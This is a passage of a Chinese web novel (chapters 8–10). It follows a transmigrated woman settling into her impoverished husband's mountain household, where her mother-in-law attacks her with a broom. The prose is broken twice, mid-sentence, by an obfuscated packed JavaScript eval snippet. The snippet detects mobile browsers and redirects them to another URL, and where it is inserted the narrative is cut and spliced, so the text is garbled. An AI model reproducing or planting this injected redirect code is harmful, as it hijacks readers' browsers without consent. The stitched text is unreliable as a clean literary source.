正北是两层土坯墙的主屋,面朝山谷。左边一排茅草棚,明显看得出来是畜生圈,没墙,用木头和条石做的栅栏,里面空荡荡的,有一多半都堆着柴草。左边一间小屋,泥墙,草顶上一截泥塑的烟囱,显然这就是厨房了。厨房旁边立着几个一人多高的谷草垛,顶上也是发黑生了霉。 土楼和耳房围着个院坝,还算整洁,但是地面没有硬化,没铺石板,只是夯实的土层。岁月长了,院坝坑坑洼洼,不少地方有积水。边角地方青苔、野草丛生。 房檐下铺着一圈石条砌成的地台,通向主屋大门那里还有两步石头台阶,侧面都布满了青苔。 院坝边种着几株指甲花。现在正是花期,粉的白的红的,花开正好,叫这破落的院子总算添了抹亮色。 “到家了。”刀莲生多此一举的给她说。 说罢,径直朝主屋去。 大门是两扇已经发灰的木板门,铁将军锈迹斑斑。 刀莲生开锁推开门,海棠站在门口台阶上往内看。 是间堂屋,挺宽敞的。 正北面是神龛,上面供着个木牌,红布搭下来遮住了字迹,看不清楚木牌上写的啥。 神龛下一张方桌,两边两把破旧的椅子,前面一张长条凳——这跟汉人家里差不多。 堂屋门槛约有四十公分高,海棠提着裙摆努力跨进去,屋内光线昏暗。 立门口环顾一眼。 堂屋很空旷,方桌,木凳,竹凳,就这几样简单家具。然后墙角立着几样简单的农具,锄头、犁铧等。 最稀奇的是堂屋中央有一块四方形的下凹地,是个火塘。塘里一堆还有火星的半燃着的柴禾,下面盖着草木灰。火塘边堆着木材。地上摆着铁锅、铁钩、铜壶、铁三脚架等器具。 神龛旁边的角落有道木楼梯,想是上二楼去的。 靠东墙立着一个洗脸架,木头做的,同样颜色发灰,细脚细杆,古老、陈旧。架子上方搭着两块米色土布,可能是洗脸帕。架子后方的墙上牵了根麻绳,绳子两端拴在两根凸出墙面的木棍上。木棍的另一端是插进嵌在土墙里面的木柱上的。麻绳上也搭着两张洗脸帕。 海棠猜,这家四口人。 刀莲生把方桌前那条长凳端来放在大门口进门位置,徒手粗粗的抹了下上面的灰,让她坐。又把茶叶土碗找出来,然后用铁钩掏了几下那个火塘里的灰堆,鼓着腮帮子趴在地上吹了几下,明火一下子蹿出来。他丢了几块干爽的木材上去,然后就提着地上那把铜壶跨出门槛要走。 海棠猜他估计是去装水,打算烧开水泡茶。 “我又不是客人,你别这样客气。”海棠笑着揶揄道。 刀莲生好像愣了下,随即看着地面说:“总要喝水。走了远路。” 海棠就不再纠缠他烧水泡茶这事儿,在他出门前东张西望问:“我们的新房在哪儿?” 刀莲生已经跨出堂屋门槛,闻言,回头看看她,眼里的情绪有点复杂。顿了下,他重新跨进屋来,然后门后一指,“这屋。” 海棠探头一看。 原来堂屋大门宽大,打开后就把背后的房门遮住了。 门后一道小门,嵌在土墙上。没房门板,只挂着一张蓝花花的布帘子,权且把里头的情况遮掩住。 海棠抬脚往那屋去,刀莲生拿着铜壶去了灶屋添水。 天边云翳滚滚,天色暗下来,起风了,卷起土坝子上尘土飞扬。 8. 第 8 章 海棠撩开蓝花布帘子进去细看。 里屋光线昏暗,照明全靠南墙上那个简陋的窗子滤进来的天光。 窗子很小,只有脸盆大小,简直像一个洞开在墙上。但逼近看,却能将寨子对面的远山全都收于眼里。 窗洞没有窗框。中有两根方木插进泥墙里权且充当窗棂。 窗洞左右两边都贴着一张红纸,纸上有个字。那是个“囍”字。 新房不大,家具寥寥无几,只有一张架子床和一壁衣柜。似乎都是全新打造的,表面用土漆刷过,富有光泽,颜色发红。制成的时间应该不长,还能闻到一股独特的酸香味儿,并不刺鼻。 木架子床正对窗洞摆在北墙跟儿下,架子顶上有些简单的雕花。四根床柱子,挂着蓝色的土布蚊帐,干净的。床上看着也挺整洁,铺着红色绣花的蓝色床单,两床叠好的被褥,红色被面上有鸳鸯戏水五彩丝绣。两个枕头并排放在床头,蓝布枕套上一样绣了鸳鸯戏水纹样。 以后这就是自己的卧室了。 因为现代人的缘故,海棠对住的环境自然挑剔。 好比出去旅游住宾馆,头一个就是检查床铺到底干净不干净。 因为很多时候,看着干净,但是被子枕头下面,床底下,往往藏污纳垢。 她走到床边,被子拎起来拿在鼻子下面嗅了嗅,没有怪味儿,反而还闻到了阳光的味道。手下意识的捏了下,被子很干燥。她又在褥子和床单上都拍了拍,没有拍起灰尘来。 比较满意。 再拿起枕头捏了两下,有哗哗的脆响声。再捏一捏听声响儿,里头塞的似乎是干燥的谷草。 想了下,她把床单掀开看了眼,果然下面垫的都是干燥厚实的谷杆。 切得齐齐整整,还用草绳仔细地把谷杆都编在一起,像块毯子似的,避免了散乱,也防止了谷杆粘着床单后乱跑乱窜。很用心。 这种床,是她回乡下最爱睡的床。 每年稻谷收割了后,姥姥会把家里床上垫的旧谷草撤掉,换上当年新晒干的谷杆。铺得厚厚的,床铺干爽、蓬松,更重要的是置身上面,阳光的味道包围着你,梦里都晒着暖洋洋的太阳似的。 海棠到此时,已是十分满意了。 她忍不住坐上床沿,躺下去,还在床铺上滚来滚去,体验一下。 但什么硌了她的屁股,一摸,是一颗被房间主人未留意到的干枣。 把玩着暗红色的干枣子,可以想象那天晚上这屋内的情景——红烛摇曳,烛光照着土墙上红艳艳的双囍字,照着红色的被子照着枕头,鸳鸯戏水好像活泛了起来,床上撒着大把的干枣花生桂圆之类的干果,寓意新人早生贵子,多子多孙,生活幸福美满…… 新房很快参观完毕,掀帘子走出去。 堂屋中央泥地上挖的那个火塘,这会儿柴禾烧得噼啪响。 刀莲生坐在火塘边,发呆地看着铜壶。 铜壶搁在那个三角铁架上烧着,铁架已经被熏得漆黑。 旁边一张矮凳子,上摆着两个褐色的土碗,碗底摊着一些黑乎乎的碎屑。她猜可能是茶叶碎。 原来这火塘的作用是这样的么?煮茶烤火? “我想洗个澡,方便吗?” 一到婆家,她就想提这个了。 路上出了汗,她就开始闻到身上有酸臭的怪味了。出汗越多,味道越浓。 想想也正常。 她娘不说是她被打得在床上躺了两天么,没洗过澡,又出汗,估计她娘还给她敷过跌打损伤的药水。闷了几日,各种味道融在一起,不出怪味儿才怪。 只听见刀莲生只是嗯了声,再无下文。 他好像走神儿了。 海棠就细问:“哪里洗?水在哪里烧?有浴桶吗?” 过了片刻他才愣愣地反应过来,站起身看向她,脸色微囧,双手不知如何安放,说话又磕巴起来了,答非所问地说:“你的东西,我,我已经给你送回……啊,你等等!” 海棠尚未应声,刀莲生已经撩开两条长腿跑出了堂屋,转眼消失在灶房的土墙后面。 海棠想了想他刚才说的那番话,明白了。 他把她留在婆家的东西都收拾打包送回她娘家去了。 这男人! 退婚还想得周到哩,连东西都不要她亲自回来收拾,直接给送过去。 只是这天都暗下来了,娘家这么远,他此时跑回去,疯了吗? 这里没表,先前只见太阳落坡了,这会儿因为被厚厚的云层遮住,也不知道太阳落到哪里去了。 山里的时间她估摸不着。 或许下午三四点钟,或许五六点钟,都有可能。 海棠扒着门框,想起这些问题的时候,追出去想喊他不要去拿了,改日再去,但早就已经看不见刀莲生的人影儿了。 “应该没那么蠢吧。跑出寨子就该回过头来了。”她想。 无所事事,就跨出门槛转一转。 先前刀莲生在场,她没好意思做得太明显。现在刀家一个人也没有,她正可以好好把她这个“婆家”里里外外都看一看。 先去了厨房看了眼。 被熏得黑漆漆一间茅草屋,两孔柴灶。灶台旁边是一张长石板做成的案板,用两块约莫四五十公分高的石头撑住。案板下面几个土黄色的菜坛子。泥墙上挂着笋壳做的大小两个锅盖。进门口是一口大水缸,上面盖着块圆木板,板上搁着一个大葫芦瓢。旁边一个水桶。还有一个木架子,上面几个木盆。另有一壁碗柜,柜门灰黑灰黑的,很有些年岁了。 出来厨房又去牲畜圈看了眼。 牲畜圈更加简陋,只能说是一排草棚子,四周围围着木栅栏,三面都挂着草帘子遮风挡雨。圈里竟有一头灰色的牛在慢条斯理的动着牛嘴巴,估计正在反刍。先前竟没注意到圈里有牛,估计被草帘子挡住了。其余地方都空着,一大半地方都堆满了柴草,冷清得很。 圈里挺干净的,没啥怪味儿,说明这家人很勤劳。 勤劳的人家不该穷酸成这样啊。 海棠四下瞅了瞅,几分钟就把刀家转看完了。 那个二楼,上了楼梯有房门,门上挂了锁。 想是家里有点值钱的东西都放在二楼的吧,她也就没破门而入去瞧个稀奇。 占地看着广,但是院坝和牲口房就占去了三分之二的地。住的房屋面积不大,开的窗不多,导致屋内暗沉沉的。家具也少,整个土楼空寂得像一个废弃的鸟巢。 啧,真不咋样,比她“娘家”还穷。 这样看,她和刀莲生,也算是什么锅配什么盖了,谁也别嫌弃谁。 海棠回到卧室里无聊地坐了一会儿,就下起雨来了。 进寨的时候还是晴天朗日的。 从前只是听说过山上的气候变化多端,老看宣传说不要轻易入山,免得被极端天气困住。呵,这下长见识了。 海棠听见外面沙沙的雨声响,走到窗洞前凑拢了往外看。雨丝蒙蒙的,远山都笼罩在一片轻烟薄雾里。 这寨子占据了高地势,是以视野能看得很远。 倘若不是知道自己穿越到了一个不知名的世界和贫穷落后的婆家,如果是出来旅游,这雨天山景,看着其实挺赏心悦目的。 没一会儿,雨竟是越下越大了,大雨噼里啪啦地直砸下来。 她走到外屋去,扒着门框,只见房檐下跌落的雨都成雨帘子了,院坝里的坑洼里积起了小水潭。豆大的雨珠砸下来,水潭不停的冒着泡泡,溅得小水花四下逃散。 立看了好一阵,这大雨没完没了地下着。雨汽裹挟着凉意一次次扑面而来,海棠身上的衣服被汗湿过的,这会儿竟冷得她有点发抖。 背后传来咕嘟咕嘟的水声响。 回头看去,堂屋中央那个火塘上,铜壶壶口不断往外冒热气。 噢,她都忘了火塘上还烧着泡茶的开水呢。 海棠走过去,左右看看没找到趁手的东西,便拿起地上那把夹火钳将铜壶盖子夹起来,见里面的水果然汩汩翻滚。 也没多想,她把两个土碗里的茶叶碎全都直接倒了进去。几番沉浮,一股浓郁的茶香钻进鼻翼。 可这下,又怎么倒茶喝呢? 试了几下,那铜壶把手烫手得很。 又四下张眼看看,就看见了墙角的木架子上和墙上棕绳上挂着的那几块帕子。 反正家里没人,扯了块洗脸帕拿来垫手,提起铜壶倒了两碗茶水,搁凳子上等它放凉。 火旺,烤得人脸颊发烫。 海棠起身去把大门关上,回来时脱了上衣和下裙,只着肚兜亵裤,顺便欣赏了几眼身上的肚兜亵裤,觉得很有意思。吹一声口哨,脸不红心不跳的赞一句这具身体好有料。然后两只手牵着把衣物展开,哼着轻快的歌儿揍进火上一一烘烤干爽。 脚也有些湿冷,冰冰的。 绣花鞋早在路上濡湿了。 鞋袜都统统脱下来烤。 红旺旺的柴火把她烘得直喟叹。 身上暖和了,开始想事情,但是不知道能想什么。因说不清自己来这里干什么。但肯定不是来享福的。这个婆家比她那个娘家还穷的样子。 想不了事,脑子里却像有一窝蜂那样开始嗡嗡嗡的响起来,她已分不清是外面的雨声还是柴禾烧着的声音。 还泛着热气的衣裙鞋袜重新穿上,整个人如被包裹在暖炉里,连心子都熨帖得热乎乎的。 屋子里太暗,海棠找灯。 在神龛下那张桌子上找到一盏脏兮兮的灯碗,碗沿上软软地躺着一根灯草,半截粘在碗壁,半截躺在碗底。碗底里,不知名的油快要见底了,里头沉淀着些死去的蚊虫的尸体和灰尘。 海棠端着灯碗坐回火塘,用夹火钳夹了一块木柴把灯芯点燃了,结果发现屋里并没有亮堂起来。 那灯火只有黄豆大小,“一灯如豆”具象化了,还没火塘烧着的柴火亮旺呢。 海棠觉得这灯有些嘲弄地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凭窗望去,海棠惊讶地发现,远山顶端托起一轮初升的圆月,金黄明亮,天空澄碧,如梦似幻,以至于她很怀疑傍晚的那场滂沱的大雨根本就没来过。 这山里的气候景致,也太迷幻了吧。 撩开蓝花帘子看堂屋,仍旧暗沉沉,静悄悄的。 那个叫刀莲生的男人到底去哪儿呢?他怎么还不回来?他家里人又去哪里了?下雨了怎也不回家?他家里都有些什么人?好相处么?只有四张洗脸帕,除开他爹妈和他,难不成另一张帕子是自己的?那他家里人口挺单薄的啊……是哟,娘不是说过他的兄弟都在山外头讨生活么? 觉也睡了,乏也解了,海棠立在泥地上,站在刀家这宽敞空寂的屋子里,她有一种鱼儿没入了茫茫大海的心慌感觉。 这样胡思乱想着,突然听到外头好像有人说话,海棠忙忙凑到土墙上开的那个小窗口往外看去。 只见院坝尽头那个破灶房的土墙后头,转出来一大一小背着背篓、打着赤脚的两个人。 走在前面的是个干瘦的老妇人,约莫六十来岁。一身黑色的粗布衣裤,头上也缠着黑色的包头布。她跟自己便宜娘一样身板娇小,但肤色黑多了。脸上额头也都布满了皱纹,看着很苍老,却十分有力气,背着一大背篼红苕藤,冒尖儿的藤叶比背篓高出了半截,她就像背着座山似的,足以将她瘦小的身体埋没,可她却脚步轻盈。 后面是个梳着两条小辫儿的小姑娘,看样子不过十岁左右,一身不太合身的黑衣裤,衣摆都快垂到膝盖处,裤脚长得都挽起一堆堆在小腿上。也背着一个背篼,只是比之那老妪小点,但里面东西看着可不轻,红苕藤也载得冒尖儿了,把小姑娘腰身压得弯弯的。 想来该是刀莲生的家人回来了。老的那个必定是他的母亲、她的婆婆。小的肯定是妹妹。 仍待在屋里不出面的话太不像话了。 海棠扯了扯衣服,稍加整理穿着便往外走。 走出昏暗的“洞房”,打开堂屋大门,准备出门迎接她丈夫的家人。 她跨出高高的堂屋门槛,再下台阶,就见那老妇人和小姑娘都双双抬起来头来看向她,二人眼里皆是一片惊讶,愣怔在了原地。 海棠扬脸一笑,避着泥地上的小水洼,心疼着才烘干的绣花鞋,小心翼翼地踩着湿滑的泥泞不堪的院坝走过去,一边伸手要去帮忙接住老妪的背篓,一边酝酿着怎么喊出第一声“婆婆”。 却,情况陡转。 老妪双眼一厉,随即咚的下脱下背篓扔到地上,折身往灶屋跑了去。 海棠不明所以,愣愣地调转视线跟着她。 只见那老妪抓起立在灶屋外墙根下一把细竹枝做的大扫帚,气势汹汹地大步回身走过来。 海棠见状,不觉往后退了两步。 就此时那妇人已到跟前,她高举起扫帚就往她身上打,“我叫你跑!小贱妇,我叫你跑!” 海棠吓了一大跳,挨了重重一下后,慌忙忍痛夺路而逃。 9. 第 9 章 傍晚那场雨下得很透,刀家这块院坝因为是泥巴地,早给泡松软了,容易滑倒不说,还一踩一个坑,一踩,就黏一脚的湿泥巴,鞋越来越沉。 因为鞋跟儿浅,差点跑脱掉。 她脚上穿的又只是一双布做的绣花鞋,打湿了弄脏了也不知道还有没有更换的。 她可不喜欢像这里的人那样光脚走路。她的脚那么白,那么嫩。 海棠顾着脚下,以至于她又挨了白氏一扫帚,忙扭头朝堂屋跑,但是她穿的裙子没白氏跑得快。 这老太太别看年纪大,但手脚都很灵活。 海棠终究晚了一步,大门没关上,白氏已经打将进来。卧室又只有一道布帘子,她只好绕着那个火塘转。 那火塘不算大,一米见方,但火塘周围摆满了东西,铜水壶、铁钩、夹火钳、凳子、木柴等杂物,占地就广了。 海棠围着火塘绕圈儿躲着婆婆的追打,总算能缓上一口气了。 因着老妪二话不说就开打,海棠心中厌憎,“婆婆”两个字就没喊出口。 要不是这是刀莲生的娘,她没好意思像对待自己那个便宜爹一样直接杠,只能耐着性子边躲边哄劝,“你先消消气,有什么误会咱坐下来好好说开行不行?” “进门当天我就该给你立规矩!也是我一时心软,不想叫你才进我家门就给你难堪!”白氏厉声说,“难怪你会被前婆家休回家。你这贱蹄子,没规没距,缺教养……” 海棠听这婆婆嘴里越发不干净起来,眉头皱起。 但是能闹得刀莲生来退婚,可见她原身跑了那事儿在刀家人眼里是件很严肃的事情,可能是奇耻大辱。 想着这个家就是她暂时的立身之所了。人在屋檐下不得不低头。婆婆不愿听她的哄劝罢手,她也就懒得再跟她讲话,只专心躲避起来。 反正她年轻,比体力肯定胜过老太太。 余光扫到,跟着婆母一起回来的那小姑娘,这时候在堂屋门口探头探脑的。 她没敢进屋来,只扒着门框偷看,一双漆黑的大眼睛忽闪着,又是稀奇,又是畏惧。 这时,门外偷看的小姑娘猛地惊呼了一声,然后忙又慌张地掩住了嘴。 海棠一定神,就见一把扫帚飞向自己! 原来婆婆见打不着她,气急败坏,竟直接把那个大扫帚往她身上砸了过来。 海棠大惊失色,急往后连退了好几步,一跤跌坐在地。 这下给白氏得着了机会,她跳过来,捡起扫帚就照着她打下来。 海棠往旁边滚了一圈,闪身避开了。又一扫帚打下来,她急忙拖过一旁的凳子抵挡,一边爬起来。 白氏气喘吁吁,因着没打着海棠,嘴里骂个不停,手上的扫帚抡得更是虎虎生风了。 海棠知道婆婆下不来台,很难堪,但她也不想挨打啊,头疼不已。 “娘,快住手!” 火塘里埋在灰堆下的木柴幽幽腾着直直往上的青烟,忽然像闪了腰身似的猛地摇晃了下,堂屋半掩的大门被一把大力推开,一个高壮的男人水淋淋地立在门槛外的泥地上。 是那个叫刀莲生的男人回来了。 海棠暗暗长松了口气。 刀莲生看见她,视线往她身上飞速上下一扫,明显好似也长松了口气的样子,方才转向那老妪叫道:“娘,你别再打了。” “不行!不打不能解我心头之恨!”白氏撑着扫帚直喘粗气,“你来替我教训她。” 刀莲生跨进屋来,挡在母亲面前,背对着海棠,海棠看见他一身衣裳都是湿的。 “娘,她……我已经打过她了,她知道错了。” “真的?”白氏半信半疑地看看躲在儿子身后的海棠。 海棠这时候很配合,见刀莲生扭头看来,她立刻挽起袖子,朝婆婆努力露出了满是青紫瘀伤的雪白手臂。 白氏一下愣住,满眼不信地看向儿子。 刀莲生伸手要把她手里的扫帚拿走,白氏扫到儿子身上,“哎呀!”主动扔了扫帚迎上去拉着儿子周身看,“你怎么才回来?天晚时候下那大的雨,你就没躲着点雨吗?” 刀莲生尚未回话,白氏小跑着去把墙上挂的那绳子上几块帕子都扯下来,回身来在他头顶肩膀等处一通擦拭,口中又问道:“怎的是同她分开回来的?” 刀莲生道:“本是一起回的。临了想起落下了东西半道上又转回去拿,正好遇见岳母给我们送回来,我回来就迟了些。” “她爹娘怎么说?” “岳父岳母要您多消消气……” 白氏又问了几句,刀莲生对答如流,白氏阴沉的脸色逐渐和缓。 “哎,莲生,你手里提的什么?” 顺着白氏的视线,海棠也看过去,这才发现刀莲生手里,一手攥着个蓝布皮的包袱,一手还提着一个屎黄色的土陶罐,灌口用麻绳吊着。 “猪油。岳母给的。” 白氏一撇嘴角,不满地嘟囔,“我还是第一次听说女婿登门,岳父母家里就送一罐子猪油的,还只这么点!” 刀莲生顿了下才回,声音小了些,“岳父母不知道我会去,一点没准备。坡上赶回来的,急急慌慌。我们又要赶着回家,所以……” 白氏变阴的脸才重又舒展开,把儿子手里的陶罐接过去,又推他回屋,“你这身衣服已经湿了,得换,不然要受寒生病。快进屋换去。” 刀莲生侧首看看海棠,又瞟了眼扔在地上的水竹扫帚,才抱着个包袱朝那新房走了去。但是仍不放心,进屋前对白氏道:“娘,您别再为难她了。” “唉!”白氏一拍大腿,盯着儿子有些恨铁不成钢的意思,顿了片刻,才无奈地捡起扫帚出了堂屋。 海棠心有余悸,走到堂屋门口探身往外看了看。 白氏将那把厉害的水竹扫帚扔在灶房的外墙根下,进灶房去了。不一会儿,茅草房顶上的烟囱里冒出滚滚浓烟,想来婆婆在做晚饭了。 想到吃的,肚子里立刻一阵咕噜作响。 揉着肚子海棠走到布帘子后面,听见房间里窸窸窣窣。 她隔着布帘子道:“早知道东西落在娘家,这天都晚了,你明天再去拿呀。” “当时没想那么多。”刀莲生道,须臾又补充说:“家里也没你能穿的衣裳。” “我今儿不换就是。路这么远,天都晚了,当天肯定回不来了。你出了寨子,就该想到这点了呀。” “我借了招满叔家的毛驴,脚程能快一半。而且岳母也追出来得早,我碰到她的时候,她已经过了燕子崖了。” “哦。” 燕子崖是哪里,海棠完全不知道,但听他话的意思,大概是她娘也走了很远了吧,是以他才能在天黑透前赶回来。 两人再未说话。 过了一会儿,刀莲生撩帘子出来,猛然看见她就靠在帘子外墙上,惊了下,“你怎么在这里?” 海棠扁嘴,“那不然我去哪儿?你家就这几个屋。我要是跟去厨房,少不得又被你娘又打又骂的。” 刀莲生嘴角动了下,没说话,出门去了。 海棠看他也去了灶房。 海棠在火塘边坐着待了一阵,十分无聊。 堂屋很暗,这时候那个十岁左右的小姑娘进屋来,——海棠听见婆婆曾喊她莲叶——小莲叶看看她,有些迟疑,但还是慢慢走过来,拿起地上的火钳,拨开灰堆,又趴地上,鼓着腮帮子对着柴禾上的火星子猛吹,不一会儿就有了明火,堂屋一下子亮了许多。 刀莲生还没回来,没人理会她。 海棠看小姑娘转身就要出去,忙逮着小姑娘套近乎,“莲叶,有什么我可以帮忙的吗?” 那小姑娘闻言跟她哥一样惊了下,小身子一抖。可能是没想到她会突然出声喊她。 小姑娘局促地揪住衣摆搓了搓,磕巴道:“嫂子,没,没啥活儿了,你且歇着就是。”说罢,有些害羞的眨眼就跑出去了。 从前她和妈妈每年过年都要回乡下姥姥家。姥姥去世后,农村还有走得近的亲戚,又要给姥姥上坟,是以过年期间仍旧会回乡下。所以海棠知道,农 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053670|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村的夜,若是没有路灯,外面便伸手不见五指。 但是在这山里面,可能是傍晚下过一场雨的缘故,晚上的天特别的纯净,一丝云层也没有,不但月亮又圆又大,而且照得山脉和寨子都特别的亮。 海棠看院子里充盈着莹白的月光,远山和梯田都清晰地照见出来,一切好像蒙上了一层轻薄的发光的白纱,她如在梦里。 再没人来,屋内外都很安静。除了房前屋后不知道藏在哪里的虫子,此起彼伏的鸣叫着。 就是虫子叫得越欢畅,她越觉得孤寂。 海棠觉得一个人待在空荡荡的堂屋瓜兮兮的,就进了卧室,摸黑脱掉濡湿的绣花鞋上了床,躺床上静等着待会儿刀家人来喊她出去吃晚饭。 不知过了多少时候,布帘子外头传来响动,然后婆婆的声音传入耳中,“回来了?今天学得怎样?” 海棠不由得失笑。 她这婆婆简直了,走路都没声儿的吗?她何时进的堂屋? 唔,想起来了,他们这里都不兴穿鞋的,光脚走路是没啥声音。 “就那样吧。”一个年轻的女声,更成熟些,不同于那小莲叶的稚嫩。 原来是又回来了个姑娘。 海棠下床摸到门帘子处,撩起一角偷看。 一个大姑娘,十五六岁的样子,肤色也比较黑,圆脸,粗胳膊粗腿,长得结实圆润。 呃,穿得就有些花哨了。 头上的包头布、里外衣服的襟口全都有艳丽的绣花。腰上围了一块绣花围裙,同样颜色亮丽多姿。腿上穿的那什么玩意儿?好时髦,筒袜一样,一圈圈绣满了花样儿。 这一看就是个爱俏的姑娘啊。 只姑娘焉头巴脑的,走到火塘边,提起地上那个铜壶晃了晃,也不用碗,对着壶嘴,高提起壶,仰起脖子就咕嘟咕嘟喝了个饱,随之铜壶往地上一撂。 “就那样是怎么样?”白氏的视线跟着女儿。 那姑娘不说话,在堂屋里没目的地转悠了下,也不知道要干嘛,最后走到北墙那张发黑的木桌旁坐着发怔。 白氏走过去,立在女儿跟前道:“你要是早点学会了剥麻、搓麻这些,总之是把织布的那一套全学会了,娘也能早点丢开手,跟你哥哥下地多做点田里的活儿了。不然这一大家子,要怎么熬出头啊,哎——” “知道啦知道啦,”姑娘不耐烦道,“我不是在努力嘛!你看我今儿个跟着堂嫂和伯娘学接麻学上浆一直学到现在才回来啊。” 白氏满意了,点头絮絮说:“嗯,接麻这一步确实很费事。麻线要抿嘴里用口水软化后才能接,眼神儿要尖,手指碾搓要力度适中。稍不注意就会导致接口不紧实,粗细也不匀,影响麻线的质量,容易断线,不经事。继而影响织出来的布,容易脱线坏掉。?” “可不是吗?好几次我接出来的线,稍一扯就断了,只能重来。还好我是给伯娘家里白做,不吃她拿她的,废了一些麻,她也不好意思说我,嘻嘻。” “你这孩子,学东西,怎么这样想?肯定要想着怎么努力做好啊。过阵子自家的麻收了,就主要靠你把布织出来了。不然,别说你的嫁妆,就是过年的新衣新鞋也别想做了。” 姑娘脸现烦躁,“这话你都说多少遍了?我洗脸去了。”起身走到墙角,扯了块帕子,出了堂屋。 这个婆婆明明很慈祥的嘛。听听她对女儿说话,一副慈母的啰嗦口吻。 外头又安静下来。 白氏已经不在堂屋了。 海棠撩开帘子出去看了眼,灶房里有微弱的灯光从门口流泻出来,想来刀家一家子都在厨房了,一边闲话家常,一边煮饭。画面定然很温馨,其乐融融。 她怏怏回身进了里屋。 那男人真是蠢的,该郑重其事把她介绍给他家人认识一下啊,不然她自己怎么好意思出面去,突兀兀的现身,自我介绍吗?好奇怪。 但马上想到,她不是今天第一天来刀家呀。这情况,她要怎么缓和她和婆家人的关系?尤其是她婆婆。 脑壳痛。 10. 第 10 章 海棠躺在床上想着有的没的,迟迟等不到刀家人来喊她出去吃晚饭。 又不知过了多少时候,外头堂屋终于有了响动。 但只是两个姑娘在拌嘴。 “姐,今晚我睡里面好不好?”是莲叶在说话。 “为什么?”这是先头那个被婆婆逮着训诫了一顿的大姑娘的声音。 “我昨晚又被你蹬下床了啦。” “你少给我胡说八道!明明是你自己睡觉不老实,自个儿滚下床去的,却来怪我踢你下床。” “就是你踢的嘛。娘都说半夜起夜,好几次她看见你把两条腿都搁我胸口上,难怪我早上起来觉得胸口处闷。” “对,我把你压着,你还怎么掉床下去?这不就正好证明是你自己滚下去的咯?你想想,你梦里不愿被我压着,滚来滚去想摆脱我,一下就掉下去了咯。” “你双腿都压到我胸口位置上了,说明你已经是横着睡了呀。你先压我,后头又蹬我。” “嘁,人穷怪屋基。我才懒得跟你说话了。” 过了会儿传来爬木楼梯的声音,一前一后,一重一轻,然后小莲叶又说了句话,“姐,那火塘里的火不用熄吗?” “娘和哥都还没进来呢。等哥待会儿回来他来灭。” “哦。”莲叶迟疑着,“姐——” “你又要说什么?你今晚话可真多。” “姐,嫂子她……好像还没洗漱诶……” 大姑娘的语气不耐烦,“你管她!她有手有脚,自己不会去打水洗啊?难道还要我们给她把水端到跟前,再把帕子给她搓洗干净了递手上?” 海棠吃了一惊。 不是吧,怎么就直接进到洗漱睡觉环节了?? 她还没吃晚饭呐! 海棠慌忙溜下床,趿拉上还有些潮湿的绣花鞋撩开布帘子走出去看。 堂屋门半掩着,屋里没人。 火塘里的木材已经烧到尾巴,留下一截一截的木头灰,灰堆码得齐齐整整,火星子偶尔闪现一下。 两个姑娘已经上楼去了。二楼是木板搭的楼板,那大姑娘走路依旧咚咚的响,踩得楼板不时发出粗哑地嘎吱声。 往灶屋看去,屋门口依旧有昏黄的灯光明明暗暗的摇晃。 月光很亮。 海棠也不用点灯照明,借着月光踩在地坝里干的地方摸到灶屋门口往内偷偷瞅。 灶台上清清冷冷,擦得发亮。铁锅上盖着笋壳叶子做的那个大锅盖,没有烟气。灶台边沿搁着一个灯碗,一灯如豆。 白氏背对着灶屋门口坐在一张高方凳下,双脚泡在一只腾着热气的木盆里,裤脚挽起,她两只手攥着裤子搁在膝盖上。 刀莲生对着母亲侧身坐在灶膛旁边一张矮凳上,面前一个十多分高的大木墩。两边,一堆是已经劈好的木材,一堆是尚未劈的原木,十多公分长短,堆得小山似的。 “娘要怎么劝你才听啊?这女人都已经进门了,人已经娶进来了,你不祸害也祸害了。她就是回去婆家,再嫁也是个三婚了。她本来就有克夫之名,她想再嫁就更难了。顶多就是嫁个老鳏夫做填房,反正老头子是半只脚踏进棺材的人,也不怕被她克死……” 刀莲生着一件无袖的黑色褂子,衣襟口绣着花样儿。下身又是筒裤,露出小腿的九分裤。一身漆黑。 黑褐色的光膀子露在外面,肌肉鼓鼓的。 可能是用了一阵力气的缘故,他黑脸膛和膀子上都淌着汗水。在旁边灶头上那灯光里,闪着细碎的晶莹的光。 他头也不抬,一斧头下去,一截原木一剖为二。 “娘,她不克夫。她前头一个本来病得都要死了,她是嫁过去冲喜的。”他平静地说。 “你打哪儿听说的?” “……傅家庄的人都这么说。” “这样啊,可是,那也管不住别人要乱说嘛。有人说,自然就有人信。” 刀莲生低声道:“娘,这个事情咱就不再讨论了。” “好吧。”白氏一声叹息,又说:“咱们费了老大的劲儿把她给你娶进门来了。为了你能娶上媳妇,咱把家里最值钱的骡子送了出去做彩礼。眼看着马上要插秧了,几块田都还没平,到时候平秧田、犁旱地,哪哪儿都得靠人力了,费的工夫会是以前的好几番,还可能会误了农时,弄得庄稼收成也不好。代价这么大,我们这么辛苦,为的啥?就只为了能给你娶上个媳妇呀。现在骡子已经到人家手里了,你怎么能说退婚就退婚,连商量都不跟我商量一下呢?” 海棠听愣了。 原来退婚这事儿,是刀莲生自作主张的呀! “好在,人回来了。这要是人也没带回来,人财两空,我,我都不知道往后你该怎么办?咱这个家又该怎么办?”是白氏压抑的带着哭腔的话。 刀莲生顿住要高举起来的斧头,拧着浓眉,“娘,您又来了,哭啥嘛?眼睛哭瞎了不是自己的吗?没女人又咋样?人活着就为一口吃的。只要手脚勤快,总能找到吃的。女人能填饱肚子吗?不要也罢!” 